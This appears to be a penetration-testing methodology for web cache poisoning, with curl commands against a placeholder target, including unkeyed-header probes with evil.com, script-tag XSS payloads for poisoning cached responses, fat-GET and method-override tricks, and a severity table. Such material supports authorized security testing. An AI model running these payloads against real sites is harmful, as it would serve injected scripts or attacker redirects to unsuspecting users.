cyberstrikeus Web Cache Poisoning
Objective
Inject malicious content into cached responses via unkeyed inputs (headers, parameters) so that subsequent users receive the poisoned response.
Testing Methodology
Phase 1: Identify Cache Behavior
# Check cache headers
curl -s -D- https://TARGET/ | grep -i "x-cache\|age\|cache-control\|cf-cache\|x-varnish"
# Identify cache key components (vary header)
curl -s -D- https://TARGET/ | grep -i "vary"
Phase 2: Find Unkeyed Inputs
Test headers that are reflected in response but NOT part of cache key:
# X-Forwarded-Host
curl -s https://TARGET/ -H "X-Forwarded-Host: evil.com" | grep "evil.com"
# X-Forwarded-Scheme
curl -s https://TARGET/ -H "X-Forwarded-Scheme: nothttps" | grep "redirect"
# X-Original-URL / X-Rewrite-URL
curl -s https://TARGET/ -H "X-Original-URL: /admin"
# Custom headers
curl -s https://TARGET/ -H "X-Forwarded-Port: 1234"
Phase 3: Cache Poisoning via Unkeyed Header
# Poison with XSS payload
curl -s https://TARGET/ \
-H "X-Forwarded-Host: evil.com\"><script>alert(1)</script>"
# Wait for cache to store, then verify
curl -s https://TARGET/ | grep "alert(1)"
Phase 4: Unkeyed Parameter Poisoning
# Find parameters not in cache key
curl -s "https://TARGET/?cb=123" -D- | grep "x-cache"
curl -s "https://TARGET/?utm_source=evil" | grep "evil"
# Reflected unkeyed parameter → stored XSS
curl -s "https://TARGET/?evil=<script>alert(1)</script>"
Phase 5: Fat GET / POST-based Poisoning
# Fat GET — body in GET request
curl -s https://TARGET/ -X GET -d "param=<script>alert(1)</script>"
# POST → GET cache confusion
curl -s https://TARGET/ -X POST \
-H "X-HTTP-Method-Override: GET" \
-d "param=evil"
Phase 6: Cache Key Normalization
# Path normalization differences
curl -s "https://TARGET/path/../admin"
curl -s "https://TARGET/PATH" vs "https://TARGET/path"
curl -s "https://TARGET/path;.js"
What Constitutes a Finding
| Finding | Severity |
|---|---|
| Cached XSS payload served to other users | Critical (P1) |
| Cached redirect to attacker domain | High (P2) |
| Denial of service via cache poisoning (error page cached) | Medium (P3) |
| Unkeyed header reflected (no cache impact proven) | Low (P4) |
Evidence Requirements
- Unkeyed input identified (header or parameter)
- Response showing injected content
- Cache headers proving response was cached (X-Cache: HIT, Age > 0)
- Second request (clean) still receiving poisoned content
- Impact: XSS, redirect, or DoS